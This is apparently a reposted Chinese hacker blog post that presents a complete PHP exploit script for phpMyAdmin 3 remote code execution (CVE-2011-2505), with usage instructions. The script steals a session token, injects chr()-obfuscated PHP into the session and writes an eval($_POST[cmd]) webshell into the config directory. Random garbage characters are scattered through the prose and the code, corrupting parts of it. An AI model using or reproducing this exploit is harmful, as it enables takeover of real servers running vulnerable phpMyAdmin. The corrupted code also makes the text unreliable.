phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
' w  V& ~9 H/ n9 ?+ K# W' A
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
; B, A! m: q- j二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
/ \' p4 f0 e) a8 l
& A& y0 x: }( D( j在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
3 ?' z6 @( `$ O4 e  x
于是写了这个php版本的exp，代码如下：
9 e( z) S( n8 J' t/ ^
#!/usr/bin/php
<?php
2 `  z  j+ V! J1 G- A# bprint_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
9 o, f4 F* \; H' p+ B0 P3 I0 sby oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
. P7 I+ V, q, a0 W/ e4 qAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');
. @6 R2 d2 y- o, I; l1 Z" a
/**
$ P8 d( a9 H' o  a * working when the directory:"config" exists and is writeable.
& d: Z* c: r$ U3 b  b**/
; r6 I; x6 E# m# Q. u4 q; f/ C. Q! T: y
: D) X; j- |, |" Z7 z& sif ($argc < 3) {
6 U$ h: Z  G1 @1 t2 J. F    print_r('
+---------------------------------------------------------------------------+
& s4 _" H8 i, G$ rUsage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
( W' [! D: Z4 `  HExample:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
! C7 y: W4 g& v0 b- T    exit;
* ?( l: x# ]' L) }, g0 N" m}

% ]0 W2 u5 s! {  Y, u4 p$host = $argv[1];
3 n4 u! D) M5 D3 o$path = $argv[2];

/**
; p" h) v+ O% d. I1 ^- ] * Try to determine if the directory:"config" exists
) O& Q7 d$ d3 m**/
- Y, E0 M. l. w$ c) @  r, Oecho "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
% C, G% }+ z- d2 pif(strpos($returnstr,'404')){
1 }: F  I' v0 [# D( d( d    exit("[-] Exploit Failed! The directory:config do not exists!\n");
: G! s9 ?2 H; u7 n8 h7 Y- B+ ^; ?}
$ W8 Q' P! x1 [( ]% d) R8 ]
/**
* Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
: v, z3 T9 u( V7 E2 |$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
: I- P2 ?& K: w6 j* l$token=$resp[3];
& k- X: w* U" ^' }$sessionid=$resp[1];
* V, d$ A& A3 H- \1 H" r% zif($token && $sessionid){
' N8 P2 }" x' c% b' V    echo "[+] tokentoken\n";
  z  Q$ P. E8 \    echo "[+] Session IDsessionid\n";
}else{
# L7 W7 B  v$ I5 D2 k. f3 R& a    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}
. m2 f9 u4 Y9 h3 B0 O- }
/ o4 O) Q% {2 c6 T6 r( l) ]. j/**
* Try to insert shell into session
**/
( h8 B% c7 x" e, f, R/ w4 mecho "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

; i0 I  s1 @. x/ ~' w4 b9 C/**
& e, E( C8 T; C9 b" ^7 { * Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
* r3 U1 Z4 a; f! Y! [  ~9 J/**
' V7 u. l& D% T2 w. E. B * Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
" a: ]1 G. |& j5 x0 C& b: }5 ~}
# p6 x6 t; t8 B6 k. m
  D% s1 N' [- r5 X6 b/ A. Lfunction php_request($url,$data='',$cookie=''){
" r0 q1 H1 e5 N. }1 `3 q, D& h    global  $host, $path;
; u/ J. J8 p$ Z, j& [   
    $method=$data?'POST':'GET';
   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
# X! {& C+ c1 Z1 x  i8 ]) B    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
8 U0 {) v6 n* r. V0 x; k  f    $packet .= $data?$data:"";
& ?* Q. k/ \! k9 R' j! c
    $fp = fsockopen(gethostbyname($host), 80);
' X% }# s3 T2 P. T0 O( l( ~( Q8 Z) N    if (!$fp) {
    echo 'No response from '.$host; die;
& R( ^- E6 |! B: g    }
    fputs($fp, $packet);
+ }: i* \7 K, w2 v+ |! a
    $resp = '';
2 I: ]4 K( P7 p# H1 I! s
    while ($fp && !feof($fp))
( Y( ?( P7 z/ L% D  T; R6 Q        $resp .= fread($fp, 1024);
- R5 g; g9 H% a% O0 w/ n7 \
    return $resp;
}
+ I4 z5 M/ O) u   
?>
.